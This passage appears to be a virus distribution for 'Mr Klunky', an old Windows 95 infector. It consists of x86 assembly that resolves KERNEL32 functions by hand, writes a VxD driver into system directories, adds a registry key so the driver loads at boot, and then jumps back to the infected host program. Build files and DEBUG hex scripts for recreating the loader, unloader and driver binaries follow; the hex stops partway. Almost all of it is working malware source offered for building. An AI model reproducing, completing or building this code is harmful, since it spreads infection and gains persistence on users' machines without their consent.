[ebp+dwBaseAddr] ; Plus base of DLL. + + ; Point to array of string pointers. + mov edi, [ebx+20h] ; Start RVA name address array. + add edi, [ebp+dwBaseAddr] ; Plus base of DLL. + + ; Determine offset for unnamed functions. + mov ecx, [ebx+14h] ; Number of functions... + sub ecx, [ebx+18h] ; ...less number of names... + mov eax, 4 ; ...times by four. + mul ecx ; Do it. + mov [ebp+dwUnnamedOffset], eax ; Save it. + + ; Calculate number of double words in string pointer array. + mov ecx, [ebx+18h] ; Number of names... + mov eax, 4 ; ...times by four. + mul ecx ; Do it. + xchg ecx, eax ; CX=Num dwords. + + xchg edi, edx ; DX holds start of array. + + CheckFunctionName: + sub ecx, 4 ; Next name. + mov edi, edx ; Base address... + add edi, ecx ; ...plus array index. + mov edi, [edi] ; Get RVA of name. + add edi, [ebp+dwBaseAddr] ; Add base address. + + lea esi, [ebp+lpGetProc_Rec] ; GetProcAddress record. + lea eax, [ebp+dwGetProc] ; Save entry point here. + call ExtractAbsoluteAddress ; Check this name for it. + + lea esi, [ebp+lpGetMod_Rec] ; GetModuleHandleA record. + lea eax, [ebp+dwGetMod] ; Save entry point here. + call ExtractAbsoluteAddress ; Check this name for it. + + cmp ecx, 0 ; Checked all the names? + jne CheckFunctionName ; Nope. Check the next name. + + cmp [ebp+dwGetProc], 0 ; Did we get this address? + je RestoreHost ; Nope, bomb out. + + cmp [ebp+dwGetMod], 0 ; Did we get this address? + je RestoreHost ; Nope, bomb out. + + ; We have found the entry points for the + ; functions we need. After we initialise + ; them we may use *any* KERNEL32.DLL + ; function with impunity! + UseFunctions: + ; Get KERNEL32 handle. + lea eax, [ebp+lpK32Name] ; < "KERNEL32" + push eax ; < + mov eax, [ebp+dwGetMod] ; + call eax ; Direct GetModuleHandleA call. + + mov [ebp+dwModHandle], eax + cmp eax, 0 ; Result == 0? + je RestoreHost ; Yep, bomb out. + + CheckSysDir: + lea eax, [ebp+lpGetSystemDirectoryA] ; Dir to check. + call CheckVxD ; Find/create VxD in dir. + jnc DynaLoadMrKlunky ; Created/found - not loaded. + + CheckWinDir: + lea eax, [ebp+lpGetWindowsDirectoryA] ; Dir to check. + call CheckVxD ; Find/create VxD in dir. + jc RestoreHost ; Already loaded/failure. + + DynaLoadMrKlunky: + ; Dynaload. + xor ebx, ebx ; N/A. + xor edi, edi ; N/A. + lea esi, [ebp+lpMrKlunkyLoad] ; Load the VxD. + call OpenIt ; Do it. + + ; Store in registry. + lea eax, [ebp+lpAA32Name] ; < "ADVAPI32" + push eax ; < + mov eax, [ebp+dwGetMod] ; + call eax ; Direct GetModuleHandleA call. + + mov [ebp+dwModHandle], eax ; Save handle. + cmp eax, 0 ; Result == 0? + je RestoreHost ; Yep, forget registry. + + UpdateRegistry: + ; Make registry entry as follows so we get + ; loaded when Windows 95 boots. + ; HKLM\CurrentControlSet\Services\VxD\MrKlunky + ; binary Start = 00 + ; string StaticVxD = "MrKlunky.VxD" + lea eax, [ebp+lpRegCreateKeyExA] ; + call GetProcAddress ; + jc RestoreHost ; + + lea ebx, [ebp+dwUnnamedOffset] ; < lpdwDisposition - who cares? + push ebx ; < + lea ebx, [ebp+dwRegHandle] ; < phkResult. + push ebx ; < + push 0 ; lpSecurityAttributes. + push 000F003Fh ; KEY_ALL_ACCESS + push 0 ; REG_OPTION_NON_VOLATILE + push 0 ; lpClass. + push 0 ; Reserved. + lea ebx, [ebp+lpMrKlunkyKey] ; < SubKey. + push ebx ; < + push 80000002h ; HKEY_LOCAL_MACHINE + call eax + + cmp eax, 0 ; Was the return value 0? + jne RestoreHost ; Nope, error exit. + + mov ebx, [ebp+dwRegHandle] ; Key handle in EBX. + + lea eax, [ebp+lpRegSetValueExA] ; + call GetProcAddress ; + jc CloseRegKey ; + + xchg eax, edi ; EDI = function address. + + push 01h ; Size. + lea eax, [ebp+dbZeroByte] ; < Set value to 00h + push eax ; < + push 3h ; REG_BINARY type. + push 0 ; Reserved. + lea eax, [ebp+lpStart] ; < Set value for "Start". + push eax ; < + push ebx ; Registry key handle. + call edi ; + + push 0Dh ; Size. + lea eax, [ebp+lpMrKlunkyFileName] ; < Set value to "MrKlunky.VxD" + push eax ; < + push 1h ; REG_SZ type. + push 0 ; Reserved. + lea eax, [ebp+lpStaticVxD] ; < Set value for "StaticVxD". + push eax ; < + push ebx ; Registry key handle. + call edi ; + + CloseRegKey: + lea eax, [ebp+lpRegCloseKey] ; + call GetProcAddress ; + jc RestoreHost ; + + push ebx ; + call eax ; Close key. + + RestoreHost: + ; Return to host. + db 081h, 0EDh ; < sub ebp, #Orig_Entry_Point#. + ddOrigEntry dd 0 ; < + + mov [esp+(8*4)], ebp ; Set up return address on stack. + popad ; Restore all registers. + ret ; Go there! + + Mr_Klunky ENDP + + + + ; This proc checks whether the string pointed to by EDI contains the name of + ; a desired funtion. If so it extracts the appropriate absolute address + ; using variables and export section data (in EBX), placing it in the + ; desired variable (the address of which is stored in EAX). + ; + ; Parameters :- EAX - Address of a variable the absolute address is to be + ; saved in, if this is the function sought. + ; EBX - Address of start of export (.edata) section. + ; ECX - Function name array offset. + ; EDI - Address of the function name to check. + ; ESI - Pointer to the following structure :- + ; DWORD - Size of the function name (including any + ; NULLs) contained in the next item. + ; BYTE - Start of buffer containing desired + ; function's name. + ; [dwBaseAddr] - DWord containing base address for use + ; with Relative Virtual Addresses (RVAs). + ; [dwUnnamedOffset] - DWord containing offset into function + ; address array (to skip unnamed functions). + ExtractAbsoluteAddress PROC + pushad ; Save everything. + + mov ecx, [esi] ; Get string length. + add esi, 4 ; Point to string + rep cmpsb ; Check the string. + + popad ; Restore everything. + + jne EAA_NotString ; This isn't the string - exit. + + xchg esi, eax ; ESI = dword for address. + + mov eax, [ebx+1Ch] ; RVA of Function Address array. + add eax, [ebp+dwUnnamedOffset] ; Plus unused function names. + add eax, [ebp+dwBaseAddr] ; Plus DLL load address. + add eax, ecx ; Plus array offset. + mov eax, [eax] ; Get the address. + add eax, [ebp+dwBaseAddr] ; Plus DLL load address. + + mov [esi], eax ; Save the address. + + EAA_NotString: + ret + ExtractAbsoluteAddress ENDP + + + + ; This proc retrieves the entry point (returned in EAX) for the specified + ; function (whose string is pointed to by EAX). + GetProcAddress PROC + push eax ; lpProcName. + mov eax, [ebp+dwModHandle] ; < hModule. + push eax ; < + call [ebp+dwGetProc] ; Call GetProcAddress directly. + + cmp eax, 0 ; EAX = 0? + jne GetProcDone ; Nope, success. + + stc ; Failure. + + GetProcDone: + ret + GetProcAddress ENDP + + + + OpenFile PROC + ; This proc opens the file pointed to by file path buffer. + lea esi, [ebp+lpStoredVxD] ; < Buffer to place file path in. + add esi, [ebp+ddMrK_VxD_Size] ; < + + OpenIt PROC + ; This proc opens the file pointed to by ESI, open mode is specified by EBX, + ; access mode is specified by EDI. + ; + ; The file handle is returned in EBX, CF set on error or clear on success. + ; Get entry address for CreateFile. + lea eax, [ebp+lpCreateFileA] ; + call GetProcAddress ; + jc OpenFile_Error ; Error exit. + + ; Open the file as specified. + push 0 ; + push 00000027h ; + push ebx ; + push 0 ; + push 0 ; + push edi ; + push esi ; + call eax ; + + ; Check for error. + cmp eax, 0FFFFFFFFh ; Error? + je OpenFile_Error ; Yep, exit. + + ; Success return. + xchg eax, ebx ; EBX = handle. + clc ; Success! + ret + + OpenFile_Error: + stc ; Failure. + ret + + OpenIt ENDP + OpenFile ENDP + + + + CheckVxD PROC + ; This proc calls the function named by [EAX] (either "GetSystemDirectoryA" + ; or "GetWindowsDirectoryA"), appends the returned directory with the name + ; of the Mr Klunky's driver. It then attempts to create the file indicated + ; by the constructed filespec. + ; + ; CF is clear on success, set on error. + ; Get the specified directory. + call GetProcAddress ; Retrieve entry point. + jc CheckVxD_Error ; Exit on error. + ; + mov ebx, MaxStringLen ; Max size of string to return. + push ebx ; + lea edi, [ebp+lpStoredVxD] ; < Buffer to place string in. + add edi, [ebp+ddMrK_VxD_Size] ; < + push edi ; + call eax ; Retrieve dir as string. + ; + cmp eax, ebx ; Returned size > 1000d? + jg CheckVxD_Error ; Yep. Too big to handle. + + ; Check out the string + add edi, eax ; EDI = End of string (NULL). + cmp byte ptr [edi-1], 5Ch ; Is the last character a '\'? + jne CheckVxD_NoStringFix ; Nope, no fix needed. + dec edi ; Yep, better overwrite it. + CheckVxD_NoStringFix: ; + + ; Append "\MrKlunky.VxD",0 to the path. + lea esi, [ebp+lpMrKlunkyVxD] ; Source. + mov ecx, 14d ; Size. + rep movsb ; Do it. + + ; Open the file. + mov ebx, 1 ; Create new file. + mov edi, 0C0000000h ; Open for read/write. + call OpenFile ; Do it. + jc CheckVxD_Error ; Exit on error. + + ; Write the Stored VxD to the file. + lea eax, [ebp+lpWriteFile] ; Get WriteFile() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push 0 ; No overlapped IO. + lea edi, [ebp+dwNumBytesWritten] ; < Var for num bytes written. + push edi ; < + ; + db 068h ; push ... + _ddMrK_VxD_Size dd 000000000h ; ... Number of bytes to write. + ; + lea edi, [ebp+lpStoredVxD] ; < Buffer to write from. + push edi ; < + push ebx ; File handle. + call eax ; Call WriteFile(). + ; + ; Correct num bytes written? + db 066h, 081h, 0BDh ; cmp word ptr [ebp+ ... + dd dwNumBytesWritten ; ... dwNumBytesWritten], ... + _dwMrK_VxD_Size dw 00000h ; ... MrK_VxD_Size + ; + je CheckVxD_WriteOK ; Yep. Good. + ; + xor eax, eax ; Nope, flag write error. + ; + CheckVxD_WriteOK: ; + xchg eax, edi ; Save return code. + + ; Set new EOF. + lea eax, [ebp+lpSetEndOfFile] ; Get SetEndOfFile() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push ebx ; File handle. + call eax ; Call SetEndOfFile(). + ; + xchg eax, esi ; Save returned result. + + ; Write all changes to disk. + lea eax, [ebp+lpFlushFileBuffers] ; Get FlushFileBuffers() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push ebx ; File handle. + call eax ; Call FlushFileBuffers(). + + ; Close the file. + lea eax, [ebp+lpCloseHandle] ; Get CloseHandle() entry. + call GetProcAddress ; + jc CheckVxD_Error ; Error exit. + ; + push ebx ; File handle. + call eax ; Call CloseHandle(); + ; + cmp eax, 0 ; Close error occurred? + je CheckVxD_Error ; Yep, error exit. + + cmp esi, 0 ; Set EOF error occurred? + je CheckVxD_Error ; Yep, error exit. + + cmp edi, 0 ; Write error occurred? + je CheckVxD_Error ; Yep, error exit. + + clc ; Success. + ret ; Bibi. + + CheckVxD_Error: + stc ; Error. + ret ; Bibi. + + CheckVxD ENDP + + + + _lpMrKlunkyLoad db "\\." + _lpMrKlunkyVxd db "\" + _lpMrKlunkyFileName db "MrKlunky.VxD" + _dbZeroByte db 0 + + _lpK32Name db "KERNEL32", 0 + ; KERNEL32 API functions. + _lpCloseHandle db "CloseHandle", 0 + _lpCreateFileA db "CreateFileA", 0 + _lpFlushFileBuffers db "FlushFileBuffers", 0 + _lpGetLastError db "GetLastError", 0 + _lpGetSystemDirectoryA db "GetSystemDirectoryA", 0 + _lpGetWindowsDirectoryA db "GetWindowsDirectoryA", 0 + _lpSetEndOfFile db "SetEndOfFile", 0 + _lpWriteFile db "WriteFile", 0 + + _lpAA32Name db "ADVAPI32", 0 + ; ADVAPI32 API functions. + _lpRegCloseKey db "RegCloseKey", 0 + _lpRegCreateKeyExA db "RegCreateKeyExA", 0 + _lpRegSetValueExA db "RegSetValueExA", 0 + + + _dwNumBytesWritten dd 0 + _dwBaseAddr dd 0 + _dwModHandle dd 0 + _dwUnnamedOffset dd 0 + + _dwRegHandle dd 0 + _lpStart db "Start", 0 + _lpMrKlunkyKey db "SYSTEM\CurrentControlSet\Services\VxD\MrKlunky", 0 + _lpStaticVxD db "StaticVxD", 0 + + _dwGetProc dd 0 + _lpGetProc_Rec dd 15d + db "GetProcAddress", 0 + + _dwGetMod dd 0 + _lpGetMod_Rec dd 17d + db "GetModuleHandleA", 0 + + _lpStoredVxD equ $ + + VxD_LOCKED_CODE_ENDS + +VxD_LOCKED_DATA_ENDS + + + END MRKLUNKY_Device_Init + + +;=[END MRKLUNKY.ASM]========================================================= + + +;=[BEGIN MRKLUNKY.DEF]======================================================= + +VXD MRKLUNKY DYNAMIC +DESCRIPTION 'MRKLUNKY' +SEGMENTS + _LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _ITEXT CLASS 'ICODE' DISCARDABLE + _IDATA CLASS 'ICODE' DISCARDABLE + _PTEXT CLASS 'PCODE' NONDISCARDABLE + _PDATA CLASS 'PDATA' NONDISCARDABLE SHARED + _STEXT CLASS 'SCODE' RESIDENT + _SDATA CLASS 'SCODE' RESIDENT + _DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE + _RCODE CLASS 'RCODE' + +EXPORTS + MRKLUNKY_DDB @1 + +;=[END MRKLUNKY.DEF]========================================================= + + +;=[BEGIN MAKEFILE]=========================================================== + +NAME = MRKLUNKY + +# 16-bit linker. +LINK = LINK + +# Definitions for MASM 6 Assembler. +ASM = ml +AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0 +ASMENV = ML +LFLAGS = /VXD /NOD + +# MASM 6 inference rules. +.asm.obj: + set $(ASMENV)=$(AFLAGS) + $(ASM) -Fo$*.obj $< + +all : $(NAME).VXD + +OBJS = MRKLUNKY.obj + +MRKLUNKY.obj: MRKLUNKY.asm + +$(NAME).VxD: $(NAME).def $(OBJS) + link @<<$(NAME).lnk +$(LFLAGS) +/OUT:$(NAME).VxD +/MAP:$(NAME).map +/DEF:$(NAME).def +$(OBJS) +<< + + @del *.exp>nul + @del *.lib>nul + @del *.map>nul + @del *.obj>nul + +;=[END MAKEFILE]============================================================= + + +;=[BEGIN MRKLUNKY.SCR]======================================================= + +N LOAD-MRK.COM +E 0100 4D 5A C0 00 03 00 00 00 20 00 00 00 FF FF 00 00 +E 0110 00 00 00 00 00 00 00 00 3E 00 00 00 01 00 FB 61 +E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0300 0E 1F BA B3 00 B4 09 CD 21 B8 84 16 BB 27 00 CD +E 0310 2F 2E 89 3E 1C 01 2E 8C 06 1E 01 8C C0 0B C7 74 +E 0320 12 BA 0F 01 B8 01 00 2E FF 1E 1C 01 72 05 BA D5 +E 0330 00 EB 78 50 5B BA F4 00 B4 09 CD 21 83 FB 01 75 +E 0340 03 BA 20 01 83 FB 02 75 05 BA 43 01 EB 5D 83 FB +E 0350 03 75 05 BA 5F 01 EB 53 83 FB 04 75 05 BA 84 01 +E 0360 EB 49 83 FB 05 75 05 BA A3 01 EB 3F 83 FB 06 75 +E 0370 05 BA C9 01 EB 35 83 FB 07 75 05 BA EE 01 EB 2B +E 0380 83 FB 08 75 05 BA 12 02 EB 21 83 FB 09 75 05 BA +E 0390 36 02 EB 17 83 FB 0A 75 05 BA 5D 02 EB 0D 83 FB +E 03A0 0B 75 05 BA 82 02 EB 03 BA A9 02 B4 09 CD 21 B4 +E 03B0 4C CD 21 41 74 74 65 6D 70 74 69 6E 67 20 74 6F +E 03C0 20 6C 6F 61 64 20 4D 72 20 4B 6C 75 6E 6B 79 2E +E 03D0 2E 2E 0A 0D 24 53 75 63 63 65 73 73 66 75 6C 6C +E 03E0 79 20 6C 6F 61 64 65 64 20 4D 72 20 4B 6C 75 6E +E 03F0 6B 79 21 24 43 6F 75 6C 64 6E 27 74 20 6C 6F 61 +E 0400 64 20 4D 72 20 4B 6C 75 6E 6B 79 21 0A 0D 24 4D +E 0410 52 4B 4C 55 4E 4B 59 2E 56 58 44 00 00 00 00 00 +E 0420 45 72 72 6F 72 3A 31 20 2D 20 56 58 44 4C 44 52 +E 0430 5F 45 52 52 5F 4F 55 54 5F 4F 46 5F 4D 45 4D 4F +E 0440 52 59 24 45 72 72 6F 72 3A 32 20 2D 20 56 58 44 +E 0450 4C 44 52 5F 45 52 52 5F 49 4E 5F 44 4F 53 24 45 +E 0460 72 72 6F 72 3A 33 20 2D 20 56 58 44 4C 44 52 5F +E 0470 45 52 52 5F 46 49 4C 45 5F 4F 50 45 4E 5F 45 52 +E 0480 52 4F 52 24 45 72 72 6F 72 3A 34 20 2D 20 56 58 +E 0490 44 4C 44 52 5F 45 52 52 5F 46 49 4C 45 5F 52 45 +E 04A0 41 44 24 45 72 72 6F 72 3A 35 20 2D 20 56 58 44 +E 04B0 4C 44 52 5F 45 52 52 5F 44 55 50 4C 49 43 41 54 +E 04C0 45 5F 44 45 56 49 43 45 24 45 72 72 6F 72 3A 36 +E 04D0 20 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 42 41 +E 04E0 44 5F 44 45 56 49 43 45 5F 46 49 4C 45 24 45 72 +E 04F0 72 6F 72 3A 37 20 2D 20 56 58 44 4C 44 52 5F 45 +E 0500 52 52 5F 44 45 56 49 43 45 5F 52 45 46 55 53 45 +E 0510 44 24 45 72 72 6F 72 3A 38 20 2D 20 56 58 44 4C +E 0520 44 52 5F 45 52 52 5F 4E 4F 5F 53 55 43 48 5F 44 +E 0530 45 56 49 43 45 24 45 72 72 6F 72 3A 39 20 2D 20 +E 0540 56 58 44 4C 44 52 5F 45 52 52 5F 44 45 56 49 43 +E 0550 45 5F 55 4E 4C 4F 41 44 41 42 4C 45 24 45 72 72 +E 0560 6F 72 3A 31 30 20 2D 20 56 58 44 4C 44 52 5F 45 +E 0570 52 52 5F 41 4C 4C 4F 43 5F 56 38 36 5F 41 52 45 +E 0580 41 24 45 72 72 6F 72 3A 31 31 20 2D 20 56 58 44 +E 0590 4C 44 52 5F 45 52 52 5F 42 41 44 5F 41 50 49 5F +E 05A0 46 55 4E 43 54 49 4F 4E 24 55 6E 6B 6E 6F 77 6E +E 05B0 20 65 72 72 6F 72 20 6F 63 63 75 72 65 64 21 24 +RCX +04C0 +W +N UNLD-MRK.COM +E 0100 4D 5A C5 00 03 00 00 00 20 00 00 00 FF FF 00 00 +E 0110 00 00 00 00 00 00 00 00 3E 00 00 00 01 00 FB 61 +E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0300 0E 1F BA B6 00 B4 09 CD 21 B8 84 16 BB 27 00 CD +E 0310 2F 2E 89 3E 21 01 2E 8C 06 23 01 8C C0 0B C7 74 +E 0320 15 B8 02 00 BB FF FF BA 18 01 2E FF 1E 21 01 72 +E 0330 05 BA DA 00 EB 78 50 5B BA FB 00 B4 09 CD 21 83 +E 0340 FB 01 75 03 BA 25 01 83 FB 02 75 05 BA 48 01 EB +E 0350 5D 83 FB 03 75 05 BA 64 01 EB 53 83 FB 04 75 05 +E 0360 BA 89 01 EB 49 83 FB 05 75 05 BA A8 01 EB 3F 83 +E 0370 FB 06 75 05 BA CE 01 EB 35 83 FB 07 75 05 BA F3 +E 0380 01 EB 2B 83 FB 08 75 05 BA 17 02 EB 21 83 FB 09 +E 0390 75 05 BA 3B 02 EB 17 83 FB 0A 75 05 BA 62 02 EB +E 03A0 0D 83 FB 0B 75 05 BA 87 02 EB 03 BA AE 02 B4 09 +E 03B0 CD 21 B4 4C CD 21 41 74 74 65 6D 70 74 69 6E 67 +E 03C0 20 74 6F 20 75 6E 6C 6F 61 64 20 4D 72 20 4B 6C +E 03D0 75 6E 6B 79 2E 2E 2E 0A 0D 24 53 75 63 63 65 73 +E 03E0 73 66 75 6C 6C 79 20 75 6E 6C 6F 61 64 65 64 20 +E 03F0 4D 72 20 4B 6C 75 6E 6B 79 21 24 43 6F 75 6C 64 +E 0400 6E 27 74 20 75 6E 6C 6F 61 64 20 4D 72 20 4B 6C +E 0410 75 6E 6B 79 21 0A 0D 24 4D 52 4B 4C 55 4E 4B 59 +E 0420 00 00 00 00 00 45 72 72 6F 72 3A 31 20 2D 20 56 +E 0430 58 44 4C 44 52 5F 45 52 52 5F 4F 55 54 5F 4F 46 +E 0440 5F 4D 45 4D 4F 52 59 24 45 72 72 6F 72 3A 32 20 +E 0450 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 49 4E 5F +E 0460 44 4F 53 24 45 72 72 6F 72 3A 33 20 2D 20 56 58 +E 0470 44 4C 44 52 5F 45 52 52 5F 46 49 4C 45 5F 4F 50 +E 0480 45 4E 5F 45 52 52 4F 52 24 45 72 72 6F 72 3A 34 +E 0490 20 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 46 49 +E 04A0 4C 45 5F 52 45 41 44 24 45 72 72 6F 72 3A 35 20 +E 04B0 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 44 55 50 +E 04C0 4C 49 43 41 54 45 5F 44 45 56 49 43 45 24 45 72 +E 04D0 72 6F 72 3A 36 20 2D 20 56 58 44 4C 44 52 5F 45 +E 04E0 52 52 5F 42 41 44 5F 44 45 56 49 43 45 5F 46 49 +E 04F0 4C 45 24 45 72 72 6F 72 3A 37 20 2D 20 56 58 44 +E 0500 4C 44 52 5F 45 52 52 5F 44 45 56 49 43 45 5F 52 +E 0510 45 46 55 53 45 44 24 45 72 72 6F 72 3A 38 20 2D +E 0520 20 56 58 44 4C 44 52 5F 45 52 52 5F 4E 4F 5F 53 +E 0530 55 43 48 5F 44 45 56 49 43 45 24 45 72 72 6F 72 +E 0540 3A 39 20 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F +E 0550 44 45 56 49 43 45 5F 55 4E 4C 4F 41 44 41 42 4C +E 0560 45 24 45 72 72 6F 72 3A 31 30 20 2D 20 56 58 44 +E 0570 4C 44 52 5F 45 52 52 5F 41 4C 4C 4F 43 5F 56 38 +E 0580 36 5F 41 52 45 41 24 45 72 72 6F 72 3A 31 31 20 +E 0590 2D 20 56 58 44 4C 44 52 5F 45 52 52 5F 42 41 44 +E 05A0 5F 41 50 49 5F 46 55 4E 43 54 49 4F 4E 24 55 6E +E 05B0 6B 6E 6F 77 6E 20 65 72 72 6F 72 20 6F 63 63 75 +E 05C0 72 65 64 21 24 +RCX +04C5 +W +N MRKLUNKY.VXD +E 0100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 +E 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 +E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0130 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 +E 0140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 +E 0150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F +E 0160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 +E 0170 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 +E 0180 4C 45 00 00 00 00 00 00 02 00 04 00 00 00 00 00 +E 0190 00 80 03 00 06 00 00 00 01 00 00 00 6E 00 00 00 +E 01A0 00 00 00 00 00 00 00 00 00 02 00 00 04 01 00 00 +E 01B0 DA 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 +E 01C0 C4 00 00 00 01 00 00 00 DC 00 00 00 00 00 00 00 +E 01D0 00 00 00 00 00 00 00 00 F4 00 00 00 00 01 00 00 +E 01E0 00 00 00 00 00 00 00 00 0A 01 00 00 26 01 00 00 +E 01F0 E4 01 00 00 00 00 00 00 E4 01 00 00 00 00 00 00 +E 0200 00 10 00 00 06 00 00 00 04 1B 00 00 1B 00 00 00 +E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0240 0D D0 00 04 04 0B 00 00 00 00 00 00 45 20 00 00 +E 0250 01 00 00 00 06 00 00 00 4C 43 4F 44 00 00 01 00 +E 0260 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 +E 0270 00 00 06 00 08 4D 52 4B 4C 55 4E 4B 59 00 00 00 +E 0280 01 03 01 00 03 00 00 00 00 00 00 00 00 00 44 00 +E 0290 00 00 7C 00 00 00 BE 00 00 00 BE 00 00 00 BE 00 +E 02A0 00 00 BE 00 00 00 27 00 02 01 DD 04 DD 01 EA 01 +E 02B0 07 00 DC 00 01 E2 04 27 00 02 01 D3 01 CD 00 FF +E 02C0 00 27 00 02 01 DE 04 B6 00 F5 00 07 00 A8 00 01 +E 02D0 5E 08 07 00 A2 00 01 49 08 27 00 02 01 AD 08 89 +E 02E0 00 4E 01 07 00 18 00 01 50 00 07 00 F7 01 01 B5 +E 02F0 04 07 00 EA 01 01 78 07 07 00 BF 01 01 C9 04 07 +E 0300 00 B4 01 01 BD 04 07 00 